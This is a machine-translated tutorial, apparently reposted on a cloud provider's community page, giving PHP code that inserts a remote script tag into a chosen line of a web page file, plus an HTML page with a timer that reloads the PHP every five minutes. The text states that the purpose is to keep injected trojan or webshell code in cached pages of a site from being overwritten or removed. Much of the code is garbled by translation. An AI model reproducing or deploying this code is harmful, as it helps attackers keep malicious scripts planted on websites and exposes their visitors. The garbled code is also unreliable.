Php writes code to the specified row of the file

Source: Internet
Author: User

Some websites use cache pages. The web Horse Code or webshell code you add is often updated or killed by other factors, so you get the code:
 
<? Php
 
$ File = "aa. php ";
 
$ Code = "<script src = http://www.google/ga.js> </script> ";
 
$ F = fopen ($ file, "r + ");
 
$ Content = fread ($ f, filesize ($ file ));
 
Fclose ($ f );
 
If (! Strstr ($ content, $ code )){
 
$ ArrInsert = insertContent ($ file, $ code, 3 );
 
Unlink ($ file );
 
 
 
Foreach ($ arrInsert as $ value)
 
{
 
File_put_contents ($ file, $ value, FILE_APPEND );
 
}
 
 
 
}
 
 
 
Function insertContent ($ source, $ s, $ iLine ){
 
$ File_handle = fopen ($ source, "r ");
 
$ I = 0;
 
$ Arr = array ();
 
While (! Feof ($ file_handle )){
 
$ Line = fgets ($ file_handle );
 
++ $ I;
 
If ($ I = $ iLine ){
 
$ Arr [] = $ line. $ s. "\ n ";
 
} Else {
 
$ Arr [] = $ line;
 
}
 
}
 
Fclose ($ file_handle );
 
Return $ arr;
 
}
 
?>
 
After saving the file as php, you can use a small program to execute it several minutes later. The operia browser has this function. However, I added an html code to run it. You can use ie to open this html and then click it to run it.
 
<HTML>
 
<HEAD>
 
 
 
</HEAD>
 
<BODY>
 
<Script language = "JScript">
 
Function singOut (){
 
Var O = document. createElement ("iframe ");
 
O. src = "http: // www.2cto.com/top php file. php ";
 
O. width = 100;
 
O. height = 100;
 
Document. body. appendChild (O );
 
}
 
Window. setInterval ("singOut ();", 300000 );
 
</SCRIPT>
 
</BODY>
 
</HTML>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.